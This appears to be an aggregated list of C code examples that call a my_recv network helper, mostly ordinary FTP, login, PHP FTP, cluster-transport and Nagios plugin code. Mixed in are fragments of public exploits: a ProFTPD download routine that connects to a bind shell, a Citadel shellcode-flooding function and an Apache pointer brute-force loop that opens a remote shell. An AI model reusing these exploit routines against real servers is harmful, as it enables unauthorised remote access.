Example #1
0
void			start_transfert(s_server srv, char *file)
{
  int			fd;
  int			size;
  struct stat		st;
  int			octel;
  char			buff[BUFF_UP];

  octel = 0;
  if ((fd = open(file, O_CREAT | O_TRUNC | O_RDWR, 0755)) == -1)
    {
      my_send(srv.socket_client, "450 Impossible to create file\n",
	      my_strlen("450 Impossible to create file\n"), (int)NULL);
      xfree(file);
      return ;
    }
  my_recv(srv.socket_client, &st, sizeof(st), (int)NULL);
  size = st.st_size;
  my_memset(buff, 0, BUFF_UP);
  while (size > 0)
    {
      octel = my_recv(srv.socket_client, buff, BUFF_UP, (int)NULL);
      xwrite(fd, buff, octel);
      size = size - octel;
    }
  close(fd);
  send_result(octel, srv);
}
void				view_query(char *str, s_client cl)
{
  int				size_recv;
  int				len_tot;
  char				*querry;

  my_memset(str, 0, BUFF_MAX);
  querry = str;
  len_tot = 0;
  size_recv = my_recv(cl.server_socket, str, BUFF_MAX, (int)NULL);
  while (querry[size_recv] != '\0' && (len_tot < BUFF_MAX))
    {
      querry = &(querry[size_recv]);
      my_putstr(querry);
      size_recv = my_recv(cl.server_socket, querry, BUFF_MAX, (int)NULL);
      len_tot = len_tot + size_recv;
    }
  my_putstr(str);
  my_recv(cl.server_socket, querry, BUFF_MAX, (int)NULL);
  querry[3] = '\0';
  if (querry[0] == '2')
    my_putstr("\nSucess\n");
  else
    my_putstr("\nError\n");
}
Example #3
0
/*
 * 用户信息注册,conn_ed---从该连接套接字上接收信息
 *
 */
void use_register(int conn_fd)
{
    char buf[32];
	char name[32];                                  //用户名
	char passwd1[32];                               //分别保存两次输入密码
	char passwd2[32];
	char string[40];                                //缓存区
	int flag = 1;                                   //循环标志,1时执行,0退出
	memset(string, 0, sizeof(string));
	send_data(conn_fd, "r\n");
	sleep(1);
    my_recv(conn_fd, buf, sizeof(buf));
	if (buf[0] == 'b')
	{
		do
		{
			send_data(conn_fd, "u\n");
			sleep(1);
			my_recv(conn_fd, buf, sizeof(buf));
			input_userinfo(conn_fd, "\n\n\t\t用户名:");
			sleep(1);
			my_recv(conn_fd, buf, sizeof(buf));
			if (buf[0] == 'n')
			{
				printf("该用户已存在\n");
				continue;
			}
			printf("恭喜您,该用户名可以使用,请继续操作\n");
			printf("请输入密码:");
			get_passwd(passwd1);
			printf("\n请再次输入密码:");
			get_passwd(passwd2);
			if (strcmp(passwd1, passwd2) != 0)
			{
				printf("两次输入不一致,请重新输入\n");
				continue;
			}
			else
			{
				flag = 0;
			}
			passwd1[strlen(passwd1)] = '\n';
			passwd1[strlen(passwd1) + 1] = '\0';
			send_data(conn_fd, "p\n");
			sleep(1);
			my_recv(conn_fd, buf, sizeof(buf));
			send_data(conn_fd, passwd1);
			sleep(1);
			my_recv(conn_fd, buf, sizeof(buf));
			if (buf[0] == 'y')
			{
				printf("注册成功\n");
				return;
			}
		}while (flag);
	}

}
Example #4
0
static void config_upload_data(int fd, config_backup_t *cfg_bkp)
{
    FILE *fpw;
    backup_frame_t frame;

    int n_read, n_left, seq = 0;
    char buf[DEF_BACKUP_FRAME_SIZE];

    fpw = fopen(DEF_REVERT_FILE, "w");
    if (!fpw)
        return ;

    n_left = get_backup_left_size(cfg_bkp);
    show_debug("left: %d<-----------------------\n", n_left);
    while (n_left > 0)
    {
        n_read = my_recv(fd, &frame, sizeof(backup_frame_t), 0);
        if (n_read != sizeof(backup_frame_t))
            break;

        n_left -= n_read;

        if (DEF_REVERT_MAGIC != frame.magic)
            break;
        if (seq++ != frame.seq)
            break;
        if (0 >= frame.payload_len)
            break;
        if (DEF_BACKUP_KEY != frame.secret_key)
            break;

        n_read = my_recv(fd, buf, frame.payload_len, 0);
        if (n_read != frame.payload_len)
            break;

        config_simple_decrypt(&frame, buf, n_read);
        fwrite(buf, 1, n_read, fpw);

        n_left -= n_read;
        set_backup_left_size(cfg_bkp, n_left);
    }

    show_debug("left: %d<-----------------------\n", n_left);
    fclose(fpw);

    if (!n_left)
    {
        char sys_cmd[DEF_SYS_COMMAND_SIZE];
        sprintf(sys_cmd, "tar -jxvf %s -C %s", DEF_REVERT_FILE, 
            (char*)proxy_get_data_file_path());
        system(sys_cmd);

        proxy_task_t *task;
        task = proxy_new_task(REBOOT_SERVER, NULL, 0, NULL, NULL);
        if (task)
            proxy_thread_pool_push(task);
    }
}
Example #5
0
void user_land(int conn_fd)
{

	char name[32];
	char passwd[32];
	char buf[SIZE];
	int i;

	send_data(conn_fd, "l\n");
	sleep(1);
	my_recv(conn_fd, buf, sizeof(buf));
	if (buf[0] == BEGIN)
	{
		while(1)
		{

			send_data(conn_fd, "u\n");
			sleep(1);
			system("clear");
			my_recv(conn_fd, buf, sizeof(buf));
			input_userinfo(conn_fd, "\n\n\t\t用户名:");
			sleep(1);
			my_recv(conn_fd, buf, sizeof(buf));
			if (buf[0] == 'n')
			{
				printf("该用户不存在,请重新输入\n");
				continue;
			}
			printf("\t\t密码:");
			get_passwd(passwd);
			send_data(conn_fd, "p\n");
			sleep(1);
			my_recv(conn_fd, buf, sizeof(buf));
			send_data(conn_fd, passwd);
			sleep(1);
			my_recv(conn_fd, buf, sizeof(buf));
			if (buf[0] == INVALID_USERINFO)
			{
				printf("密码错误,请重新输入\n");
				continue;
			}
			else
			{
				break;
			}
		}
		system("clear");
		printf("\n\n\tftp服务器欢迎您,请选择操作\n");
		
		sleep(1);
		user_choose(conn_fd);
	}
}
Example #6
0
int main(int argc, char *argv[])
{
	struct hostent *he;
	fd_set readfds;
	struct timeval tv;

	tv.tv_sec = 5;
	tv.tv_usec = 0;
 
	FD_ZERO(&readfds);
	FD_SET(0, &readfds);
	FD_SET(RPORT, &readfds);
	FD_SET(DPORT, &readfds);

	if(argc != 2) {
		fprintf(stderr, "usage address");
		exit(1);
	}

	if((he=gethostbyname(argv[1])) == NULL ) {
		perror("gethostbyname ");
		exit(1);
	}

	if( strncmp(argv[0],"./server",3) == 0)
		goto server;
	
	while(1) {
		
		printf("your msg===>>>\n");

		if (my_send(he,DPORT) == 5)
			printf("==>>msg send!\n");
		else 
			printf("!!! sending failed.\n");
		my_recv(RPORT);
	}	

server:	while(1) {

		my_recv(DPORT);
			
		printf("your msg===>>>\n");
		
		if (my_send(he,RPORT) == 5)
			printf("==>>msg send!\n");
		else 
			printf("!!! sending failed.\n");
	}

	return 0;
}
Example #7
0
Uint32		get_msg(t_client *client)
{
  int		result;
  static char	*data = 0;

  if (!data) // can't be dealloced, so using malloc system
    if (!(data = (char*)malloc(sizeof(*data) * NET_MSS)))
      {
	fprintf(stderr, "Not enough memory\n");
	exit(43);
      }
  result = my_recv(client->sock, data, NET_MSS);
  if (result <= 0)
    {
      if (SDLNet_GetError() && strlen(SDLNet_GetError()))
	{
	  NETDEBUG(SDLNet_GetError());
	}
      client->state = (unsigned long)STATE_FAIL_RECV;
      fprintf(stderr, "loss state :%s, %d, %d\n",
	      strerror(errno), result, (int)data);
      // met dans list deadclient, avec un etat 'fail_recv'
      // (essaie donc d'ecrire qd meme sur la socket)

      // ou la liste de commandes est trop importante..
      return (0);
    }
  if (cut_trame_in_msg(client, data, result))
    return (1);
  return (0);
}
Example #8
0
/*
 * Same as Kgio::SocketMethods#kgio_read, except EOFError is raised
 * on EOF without a backtrace
 */
static VALUE kgio_recv_bang(int argc, VALUE *argv, VALUE io)
{
	VALUE rv = my_recv(1, argc, argv, io);

	if (NIL_P(rv)) my_eof_error();
	return rv;
}
Example #9
0
/*输入用户名, 然后通过fd发送出去*/
void input_userinfo(int conn_fd, const char *string)
{
    char	input_buf[32];
    char	recv_buf[BUFSIZE];
    int		flag_userinfo;

    /*输入用户信息直到正确为止*/
    do {
	printf("%s :",string);
	if (get_userinfo(input_buf, 32) < 0) {			//调用get_userinfo()获取用户输入数据存入input_buf
	    printf("error return from get_userinfo\n");		
	    exit(1);
	}

	if (send(conn_fd, input_buf, strlen(input_buf), 0) < 0) {	//在TCP套接字上发送数据,fd为套接字描述符,buf为要发送的缓冲区
	    my_err("send", __LINE__);
	}

	/*从连接套接字上读取一次数据*/
	if(my_recv(conn_fd,recv_buf, sizeof(recv_buf)) < 0) {	//从连接套接字上读取一次数据
	    printf("data is too long\n");
	    exit(1);
	}

	if(recv_buf[0] == VALID_USERINFO) {
	    flag_userinfo = VALID_USERINFO;
	} else {
	    printf("%s error,input again", string);		//错误,将flag_userinfo置为用户信息无效
	    flag_userinfo = INVALID_USERINFO;
	}
    } while(flag_userinfo = INVALID_USERINFO);

}
Example #10
0
int
ftp_get(ftpbuf_t *ftp, FILE *outfp, const char *path, ftptype_t type)
{
	databuf_t		*data = NULL;
	char			*ptr;
	int			lastch;
	int			rcvd;

	if (ftp == NULL)
		return 0;

	if (!ftp_type(ftp, type))
		goto bail;

	if ((data = ftp_getdata(ftp)) == NULL)
		goto bail;

	if (!ftp_putcmd(ftp, "RETR", path))
		goto bail;
	if (!ftp_getresp(ftp) || (ftp->resp != 150 && ftp->resp != 125))
		goto bail;

	if ((data = data_accept(data)) == NULL)
		goto bail;

	lastch = 0;
	while ((rcvd = my_recv(data->fd, data->buf, FTP_BUFSIZE))) {
		if (rcvd == -1)
			goto bail;

		if (type == FTPTYPE_ASCII) {
			for (ptr = data->buf; rcvd; rcvd--, ptr++) {
				if (lastch == '\r' && *ptr != '\n')
					putc('\r', outfp);
				if (*ptr != '\r')
					putc(*ptr, outfp);
				lastch = *ptr;
			}
		}
		else {
			fwrite(data->buf, rcvd, 1, outfp);
		}
	}

	if (type == FTPTYPE_ASCII && lastch == '\r')
		putc('\r', outfp);

	data = data_close(data);

	if (ferror(outfp))
		goto bail;

	if (!ftp_getresp(ftp) || (ftp->resp != 226 && ftp->resp != 250))
		goto bail;

	return 1;
bail:
	data_close(data);
	return 0;
}
void sighandler(int sig){
	message_t msgsnd, msgrcv;
	printf("\ncompute get signal ");
	print_sig(sig);
	
	msgsnd.type= CEND;
	msgsnd.id= getpid();
	msgsnd.data= (finished= TRUE? n: n-1);
	
	if(my_send(fds, &msgsnd, sizeof(message_t), 0)== -1){
		fprintf(stderr, "my_send\n");
		close(fds);	
		exit(EXIT_FAILURE);
	}
	if(my_recv(fds, &msgrcv, sizeof(message_t), 0)== -1){
		fprintf(stderr, "my_recv\n");
		close(fds);	
		exit(EXIT_FAILURE);
	}
	if(msgrcv.type!= CEND){
		fprintf(stderr, "unexpected type\n");
		close(fds);	
		exit(EXIT_FAILURE);
	}
	close(fds);
	exit(EXIT_SUCCESS);
}
Example #12
0
//输入用户名 ,然后通过fd发送出去
void input_userinfo(int conn_fd ,const char *string)
{
    char input_buf[32];
    char recv_buf[BUFSIZE];
    int  flag_userinfo;

    //输入用户信息直到正确为止
    do {
        printf("%s:" ,string);
        if(get_userinfo(input_buf ,32) < 0)
        {
            printf("errno return from get_userinfo");
            exit(1);
        }
        if(send(conn_fd ,input_buf ,strlen(input_buf) ,0) < 0)
        {
            my_err("send" ,__LINE__);
        }
        //从连接套接字上读取一次数据
        if(my_recv(conn_fd ,recv_buf ,sizeof(recv_buf)) < 0)
        {
            printf("data is too long\n");
            exit(1);
        }
        if(recv_buf[0] == VALID_USERINFO)
        {
            flag_userinfo = VALID_USERINFO;
        }
        else
        {
            printf("%s errno ,input again,",string);
            flag_userinfo = INVALID_USERINFO;
        }
    } while(flag_userinfo == INVALID_USERINFO);
}
Example #13
0
/* {{{ ftp_nb_continue_read
 */
int
ftp_nb_continue_read(ftpbuf_t *ftp)
{
	databuf_t	*data = NULL;
	char		*ptr;
	int		lastch;
	size_t		rcvd;
	ftptype_t	type;

	data = ftp->data;

	/* check if there is already more data */
	if (!data_available(ftp, data->fd)) {
		return PHP_FTP_MOREDATA;
	}

	type = ftp->type;

	lastch = ftp->lastch;
	if ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) {
		if (rcvd == -1) {
			goto bail;
		}

		if (type == FTPTYPE_ASCII) {
			for (ptr = data->buf; rcvd; rcvd--, ptr++) {
				if (lastch == '\r' && *ptr != '\n') {
					php_stream_putc(ftp->stream, '\r');
				}
				if (*ptr != '\r') {
					php_stream_putc(ftp->stream, *ptr);
				}
				lastch = *ptr;
			}
		} else if (rcvd != php_stream_write(ftp->stream, data->buf, rcvd)) {
			goto bail;
		}

		ftp->lastch = lastch;
		return PHP_FTP_MOREDATA;
	}

	if (type == FTPTYPE_ASCII && lastch == '\r') {
		php_stream_putc(ftp->stream, '\r');
	}

	ftp->data = data = data_close(ftp, data);

	if (!ftp_getresp(ftp) || (ftp->resp != 226 && ftp->resp != 250)) {
		goto bail;
	}

	ftp->nb = 0;
	return PHP_FTP_FINISHED;
bail:
	ftp->nb = 0;
	ftp->data = data_close(ftp, data);
	return PHP_FTP_FAILED;
}
int download_file(int mode)
{
int len, localServerSock, dataSock, bindShellSock;
struct sockaddr_in localServer;

status_bar("Downloading");
// Ask the victim server to send us the exploit file
my_send(controlSock, "RETR %s\r\n", filename);

// Create a listening server on our passive port to
// receive the data
memset(&localServer,0,sizeof(localServer));
localServerSock=create_passive_server();
len=sizeof(localServer);

// Wait for a few seconds for the victim server to contact us...
if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) {
close(localServerSock);
return FAILURE;
}

// If the mode is EXPLOIT_DOWNLOAD, then this is the
// second attempt at downloading... that means we might
// have a shell waiting for us on the victim server, so
// we try to connect to it
if(mode==EXPLOIT_DOWNLOAD) {
if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
printf("\nConnected! You are r00t...\n");
do_remote_shell(bindShellSock);
printf("\nDid you have a nice time?\n");
exit(0);
} 
close(dataSock);
close(localServerSock);
return SUCCESS;
}
// If the mode is NORMAL_DOWNLOAD, then just clean up the
// connection by receiving the file from the server; closing
// the data and local server sockets, then read the confirmation
// message from the control socket
my_recv(dataSock);
close(dataSock);
close(localServerSock);
my_recv(controlSock);
return check_status();
}
Example #15
0
int my_recvall(int sock, void* buf, size_t len)
{
    int got = 0, tmp;
    while ((tmp = my_recv(sock, buf + got, len - got)) > 0) {
        got += tmp;
    }
    return got;
}
Example #16
0
void server_download(int conn_fd, const char * pathname, char * len)
{
	int fd;
	char buf[SIZE];
	char choose[SIZE];
	int ret;
	int lenght = 0;
	int sum = 0;
	int flag;
	int i = 0;
	char tmp[SIZE];
	long r_len;
	char log[SIZE];

	if ((fd = open(pathname, O_RDONLY)) == -1)
	{
		strcpy(log, pathname);
		strcat(log, " 下载失败");
		sys_log(log);
		return ;
	}
	strcpy(log, " 文件名:");
	strcat(log, pathname);
	strcat(log, " 下载文件大小:");
	strcat(log, len);
	sys_log(log);
	
	send_data(conn_fd, len);
	recv(conn_fd, tmp, sizeof(tmp), 0);
	r_len = atol(tmp);
	lseek(fd, r_len, SEEK_SET);

	while (1)
	{
		flag = read(fd, buf, SIZE);
		sum += flag;
		ret = send(conn_fd, buf, flag, 0);
		if (flag !=  SIZE)
		{
			break;
		}
	}
	close (fd);

	memset(log, '\0', sizeof(log));
	strcpy(log, " 下载成功,");
	my_recv(conn_fd, buf, sizeof(buf));

	if (buf[0] == 'y')
	{
		sys_log(" 用户返回选择界面 ");
		deal(conn_fd);
	}
	else
	{
		return ;
	}
}
Example #17
0
int
TCP_Transporter::doReceive(TransporterReceiveHandle& recvdata)
{
  // Select-function must return the socket for read
  // before this method is called
  // It reads the external TCP/IP interface once
  Uint32 size = receiveBuffer.sizeOfBuffer - receiveBuffer.sizeOfData;
  if(size > 0){
    const int nBytesRead = (int)my_recv(theSocket,
				receiveBuffer.insertPtr,
				size < maxReceiveSize ? size : maxReceiveSize,
				0);

    if (nBytesRead > 0) {
      receiveBuffer.sizeOfData += nBytesRead;
      receiveBuffer.insertPtr  += nBytesRead;
      
      if(receiveBuffer.sizeOfData > receiveBuffer.sizeOfBuffer){
#ifdef DEBUG_TRANSPORTER
        g_eventLogger->error("receiveBuffer.sizeOfData(%d) > receiveBuffer.sizeOfBuffer(%d)",
                             receiveBuffer.sizeOfData, receiveBuffer.sizeOfBuffer);
        g_eventLogger->error("nBytesRead = %d", nBytesRead);
#endif
        g_eventLogger->error("receiveBuffer.sizeOfData(%d) > receiveBuffer.sizeOfBuffer(%d)",
                             receiveBuffer.sizeOfData, receiveBuffer.sizeOfBuffer);
	report_error(TE_INVALID_MESSAGE_LENGTH);
	return 0;
      }
      
      receiveCount ++;
      receiveSize  += nBytesRead;
      m_bytes_received += nBytesRead;
      
      if(receiveCount == reportFreq){
        recvdata.reportReceiveLen(remoteNodeId,
                                  receiveCount, receiveSize);
	receiveCount = 0;
	receiveSize  = 0;
      }
      return nBytesRead;
    } else {
#if defined DEBUG_TRANSPORTER
      g_eventLogger->error("Receive Failure(disconnect==%d) to node = %d nBytesSent = %d "
                           "errno = %d strerror = %s",
                           DISCONNECT_ERRNO(my_socket_errno(), nBytesRead),
                           remoteNodeId, nBytesRead, my_socket_errno(),
                           (char*)ndbstrerror(my_socket_errno()));
#endif   
      if(DISCONNECT_ERRNO(my_socket_errno(), nBytesRead)){
	do_disconnect(my_socket_errno());
      } 
    }
    return nBytesRead;
  } else {
    return 0;
  }
}
int set_path_and_filename()
{
status_bar("Setting filename");
if(strcmp(uploadPath,"")) {
my_send(controlSock, "CWD %s\r\n",uploadPath);
my_recv(controlSock);
}
snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
return SUCCESS;
}
Example #19
0
// Flood the citadel server CHANCE_COUNTER times with the shellcode
// to try and make it more likely for the shellcode to be in the right
// place at the right time. This function makes one helluva difference
// to the exploits reliability (100% reliable to date).
void increase_chances(int s, int m) {
	char buf[SIZ];
	int i;

	make_shellcode(buf);
	for(i=0;i<CHANCE_COUNTER;i++) {
		my_send(s, "IPGM %d %s\n", m, buf);
		my_recv(s);
	}
}
ssize_t
SocketInputStream2::read_socket(char* buf, size_t len)
{
  if (!has_data_to_read())
    return -1;

  size_t read_res = my_recv(m_socket, buf, len, 0);
  if (read_res == 0)
    return -1; // Has data to read but only EOF received

  return read_res;
}
Example #21
0
/* {{{ ftp_readline
 */
int
ftp_readline(ftpbuf_t *ftp)
{
	long		size, rcvd;
	char		*data, *eol;

	/* shift the extra to the front */
	size = FTP_BUFSIZE;
	rcvd = 0;
	if (ftp->extra) {
		memmove(ftp->inbuf, ftp->extra, ftp->extralen);
		rcvd = ftp->extralen;
	}

	data = ftp->inbuf;

	do {
		size -= rcvd;
		for (eol = data; rcvd; rcvd--, eol++) {
			if (*eol == '\r') {
				*eol = 0;
				ftp->extra = eol + 1;
				if (rcvd > 1 && *(eol + 1) == '\n') {
					ftp->extra++;
					rcvd--;
				}
				if ((ftp->extralen = --rcvd) == 0) {
					ftp->extra = NULL;
				}
				return 1;
			} else if (*eol == '\n') {
				*eol = 0;
				ftp->extra = eol + 1;
				if ((ftp->extralen = --rcvd) == 0) {
					ftp->extra = NULL;
				}
				return 1;
			}
		}

		data = eol;
		if ((rcvd = my_recv(ftp, ftp->fd, data, size)) < 1) {
			return 0;
		}
	} while (size);

	return 0;
}
Example #22
0
static int my_gets(SOCKET sock, char * line, int maxlen)
{
	int last_rval = 0;

	while (((last_rval = my_recv(sock, line, 1)) == 1) && maxlen > 0) {
		if (*line == '\n') {
			line++;
			*line = 0;
			break;
		} else {
			line++;
			maxlen--;
		}
	}
	return last_rval;
}
/*
 * Receive one line, copy it into buf and nul-terminate it.  Returns the
 * number of bytes written to buf (excluding the '\0') or 0 on EOF or <0 on
 * error.
 *
 * TODO: Reading one byte at a time is very inefficient.  Replace this by a
 * function which buffers the data, move that to netutils.c and change
 * check_smtp and other plugins to use that.  Also, remove (\r)\n.
 */
int
recvline(char *buf, size_t bufsize)
{
	int result;
	unsigned i;

	for (i = result = 0; i < bufsize - 1; i++) {
		if ((result = my_recv(&buf[i], 1)) != 1)
			break;
		if (buf[i] == '\n') {
			buf[++i] = '\0';
			return i;
		}
	}
	return (result == 1 || i == 0) ? -2 : result;	/* -2 if out of space */
}
Example #24
0
void deal(int conn_fd)
{
	char buf[32];
	char name[32];
	char passwd[32];
	char pathname[SIZE] = {"/home/qiong/userinfo/"};
	int  ret;
	int  flag;
	int  fd;
	int zan;


	my_recv(conn_fd, buf, sizeof(buf));
	printf("%c\n", buf[0]);
	if (buf[0] == 'l')
	{
		sys_log("进入用户登陆界面");
		server_check(conn_fd);
	}
	else if (buf[0] == 'r')
	{
		sys_log("进入用户注册界面");
		server_register(conn_fd);	
	}	
	else if (buf[0] == 'x')
	{
		chdir("/home/qiong/shujia/source/");
		server_browse(conn_fd, "../source/");
	}
	else if (buf[0] == 'q')
	{
		sys_log("浏览本地上传目录");
		chdir("/home/qiong/shujia/source/");
		server_look(conn_fd, "../source/");
	}
	else if (buf[0] == 'd')
	{
		sys_log("查找资源");
		sys_find(conn_fd);
		deal(conn_fd);
	}
}
int set_passive_mode(int mode)
{
int portMSB, portLSB;
int x1,x2,x3,x4;
char *ptr=localIP, *start;

status_bar("Setting passive");
if(mode==DOWNLOAD) {
if((++currentPassivePort) > 35000)
currentPassivePort=32789;

while(*(++ptr))
if(*ptr=='.')
*ptr=',';
portMSB=(currentPassivePort >> 8 ) & 0xff;
portLSB=currentPassivePort & 0xff;
my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
my_recv(controlSock);
return check_status();
} else { 
Example #26
0
void input_userinfo(int conn_fd,char *string) //输入用户名,通过conn_fd 发出
{
    char input_buf[32];
    char recv_buf[BUFMAX];
    int flag_userinfo;

    do
    {
        printf(" %s:",string);
        if(get_userinfo(input_buf,32)<0)
        {
            printf("error return from get_userinfo \n");
            exit(1);
        }
        
        if(send(conn_fd,input_buf,strlen(input_buf),0)<0)
        {
            perror("send");   
        }
        
        if(my_recv(conn_fd,recv_buf,sizeof(recv_buf))<0)
        {
            printf("data to long\n");
            exit(1);
        }
        
        if(recv_buf[0]==VALID_USERINFO)
        {
            flag_userinfo=VALID_USERINFO;
        }
        else
        {
            printf(" %s error ,input again ",string);
            flag_userinfo=INVALID_USERINFO;
        }
    }while(flag_userinfo==INVALID_USERINFO);
}
Example #27
0
int attempt_exploit(void) {
	fd_set rfds;
	int sock,retVal,r;

	if(exactPointerAddy) {
		printf("[-] Using 0x%08x for pointer addy\n", exactPointerAddy);
		if((sock=connect_to_host(HTTP_PORT))<=0)
			return sock;
		magic_r=exactPointerAddy;
		make_exploitbuf(buf);
		my_send(sock, buf);
		my_recv(sock);
		close(sock);
		my_sleep(100000);
                if((sock=connect_to_host(SHELL_PORT))<=0) {
			return sock;
		}
	} else { // Do crappy bruteforce loop
		printf("[-] Attempting attack [ %s ] ...\n", targets[useTarget].platform);
		MAGIC_R_START=targets[useTarget].bruteStart;
		MAGIC_R_END=targets[useTarget].bruteEnd;
		retAddr=targets[useTarget].retAddr;
		for(magic_r=MAGIC_R_START; magic_r<=MAGIC_R_END; magic_r++) {
			printf("[-] Trying 0x%08x ... \r", magic_r);fflush(stdout);
			if((sock=connect_to_host(HTTP_PORT))<=0)
				return sock;
			make_exploitbuf(buf);
			my_send(sock, buf);
			my_recv(sock);
			close(sock);
			my_sleep(50000);
			if((sock=connect_to_host(SHELL_PORT))>=SUCCESS) {
				printf("\n[-] Found request_rec address @ 0x%08x\n", magic_r);
				break;
			}
		}
		if(magic_r>MAGIC_R_END)
			return BRUTE_FORCE_EXHAUSTED;
	}

        printf("[-] Connected to %s! You can type commands now:\n", host);

        // Now let the attacker issue commands to the remote
        // shell, just as if (s)he had launched 'nc host 45295'.
        do {
                FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(sock, &rfds);
                retVal=select(sock+1, &rfds, NULL, NULL, NULL);
                if(retVal) {
                        if(FD_ISSET(sock, &rfds)) {
                                buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
                                printf("%s", buf);
                        }
                        if(FD_ISSET(0, &rfds)) {
                                buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
                                send(sock, buf, strlen(buf), 0);
                        }

                }
        } while(retVal && r); // loop until connection terminates

        close(sock);
        return SUCCESS;
}
Example #28
0
int main(int argc, char **argv) 
{
    int 		i;
    int 		ret;
    int			conn_fd;
    int			serv_port;
    struct sockaddr_in  serv_addr;
    char 		recv_buf[BUFSIZE];

    /*检查参数个数*/
    if(argc != 5) {
	printf("Usage: [-p] [serv_port] [-a] [serv_address]\n");
	exit(1);
    }

    /*初始化服务器端地址结构*/
    memset(&serv_addr, 0, sizeof(struct sockaddr_in));	//初始化服务器端地址结构
    serv_addr.sin_family = AF_INET;
    
    /*从命令行获取服务器端的端口和地址*/
    for(i=1; i<argc; i++) {
	if(strcmp("-p", argv[i]) == 0) {
	    serv_port = atoi(argv[i+1]);		//atoi()把字符串转换程长整型数
	    if(serv_port < 0 || serv_port > 65535) {
		printf("invalid serv_addr.sin_port\n");
		exit(1);
	    } else {
		serv_addr.sin_port = htons(serv_port); //htons用于将主机中unsigned short型数据转换成网络字节顺序
	    }
	    continue;
	}
    
	if(strcmp("-a",argv[i]) == 0) {
	    if(inet_aton(argv[i+1], &serv_addr.sin_addr) == 0) {
		printf("invalid server ip address\n");
		exit(1);
	    }
	    continue;
	}
    }
	/*检测是否少了某项参数*/
	if(serv_addr.sin_port == 0 || serv_addr.sin_addr.s_addr == 0) {
	    printf("Usage:[-p] [serv_addr.sin_port] [-a][serv_address]\n");
	    exit(1);
	}

	/*创建一个TCP套接字*/
	conn_fd = socket(AF_INET, SOCK_STREAM, 0);
	if(conn_fd < 0) {
	    my_err("socket", __LINE__);
	}

	/*向服务器端发送连接请求*/
	if(connect(conn_fd, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) < 0) {
	    my_err("connect", __LINE__);
	}

	/*输入用户名和密码*/
	input_userinfo(conn_fd, "username");
	input_userinfo(conn_fd, "password");

	/* 读取欢迎信息并打印出来*/
	if((ret = my_recv(conn_fd, recv_buf, sizeof(recv_buf))) < 0) {
	    printf("data is too long\n");
	    exit(1);
	}
	for(i=0; i<ret; i++) {
	    printf("%c", recv_buf[i]);
	}
	printf("\n");

	close(conn_fd);
	return 0;
}
int
main (int argc, char **argv)
{
	int result = STATE_UNKNOWN;
	int i;
	char *status = NULL;
	struct timeval tv;
	size_t len;
	int match = -1;

	setlocale (LC_ALL, "");
	bindtextdomain (PACKAGE, LOCALEDIR);
	textdomain (PACKAGE);

	/* determine program- and service-name quickly */
	progname = strrchr(argv[0], '/');
	if(progname != NULL) progname++;
	else progname = argv[0];

	len = strlen(progname);
	if(len > 6 && !memcmp(progname, "check_", 6)) {
		SERVICE = strdup(progname + 6);
		for(i = 0; i < len - 6; i++)
			SERVICE[i] = toupper(SERVICE[i]);
	}

	/* set up a resonable buffer at first (will be realloc()'ed if
	 * user specifies other options) */
	server_expect = calloc(sizeof(char *), 2);

	/* determine defaults for this service's protocol */
	if (!strncmp(SERVICE, "UDP", 3)) {
		PROTOCOL = IPPROTO_UDP;
	}
	else if (!strncmp(SERVICE, "FTP", 3)) {
		EXPECT = "220";
		QUIT = "QUIT\r\n";
		PORT = 21;
	}
	else if (!strncmp(SERVICE, "POP", 3) || !strncmp(SERVICE, "POP3", 4)) {
		EXPECT = "+OK";
		QUIT = "QUIT\r\n";
		PORT = 110;
	}
	else if (!strncmp(SERVICE, "SMTP", 4)) {
		EXPECT = "220";
		QUIT = "QUIT\r\n";
		PORT = 25;
	}
	else if (!strncmp(SERVICE, "IMAP", 4)) {
		EXPECT = "* OK";
		QUIT = "a1 LOGOUT\r\n";
		PORT = 143;
	}
#ifdef HAVE_SSL
	else if (!strncmp(SERVICE, "SIMAP", 5)) {
		EXPECT = "* OK";
		QUIT = "a1 LOGOUT\r\n";
		flags |= FLAG_SSL;
		PORT = 993;
	}
	else if (!strncmp(SERVICE, "SPOP", 4)) {
		EXPECT = "+OK";
		QUIT = "QUIT\r\n";
		flags |= FLAG_SSL;
		PORT = 995;
	}
	else if (!strncmp(SERVICE, "SSMTP", 5)) {
		EXPECT = "220";
		QUIT = "QUIT\r\n";
		flags |= FLAG_SSL;
		PORT = 465;
	}
	else if (!strncmp(SERVICE, "JABBER", 6)) {
		SEND = "<stream:stream to=\'host\' xmlns=\'jabber:client\' xmlns:stream=\'http://etherx.jabber.org/streams\'>\n";
		EXPECT = "<?xml version=\'1.0\'?><stream:stream xmlns=\'jabber:client\' xmlns:stream=\'http://etherx.jabber.org/streams\'";
		QUIT = "</stream:stream>\n";
		flags |= FLAG_HIDE_OUTPUT;
		PORT = 5222;
	}
	else if (!strncmp (SERVICE, "NNTPS", 5)) {
		server_expect_count = 2;
		server_expect[0] = "200";
		server_expect[1] = "201";
		QUIT = "QUIT\r\n";
		flags |= FLAG_SSL;
		PORT = 563;
	}
#endif
	else if (!strncmp (SERVICE, "NNTP", 4)) {
		server_expect_count = 2;
		server_expect = malloc(sizeof(char *) * server_expect_count);
		server_expect[0] = strdup("200");
		server_expect[1] = strdup("201");
		QUIT = "QUIT\r\n";
		PORT = 119;
	}
	else if (!strncmp(SERVICE, "CLAMD", 5)) {
		SEND = "PING";
		EXPECT = "PONG";
		QUIT = NULL;
		PORT = 3310;
	}
	/* fallthrough check, so it's supposed to use reverse matching */
	else if (strcmp (SERVICE, "TCP"))
		usage (_("CRITICAL - Generic check_tcp called with unknown service\n"));

	server_address = "127.0.0.1";
	server_port = PORT;
	server_send = SEND;
	server_quit = QUIT;
	status = NULL;

	/* Parse extra opts if any */
	argv=np_extra_opts (&argc, argv, progname);

	if (process_arguments (argc, argv) == ERROR)
		usage4 (_("Could not parse arguments"));

	if(flags & FLAG_VERBOSE) {
		printf("Using service %s\n", SERVICE);
		printf("Port: %d\n", server_port);
		printf("flags: 0x%x\n", (int)flags);
	}

	if(EXPECT && !server_expect_count)
		server_expect_count++;

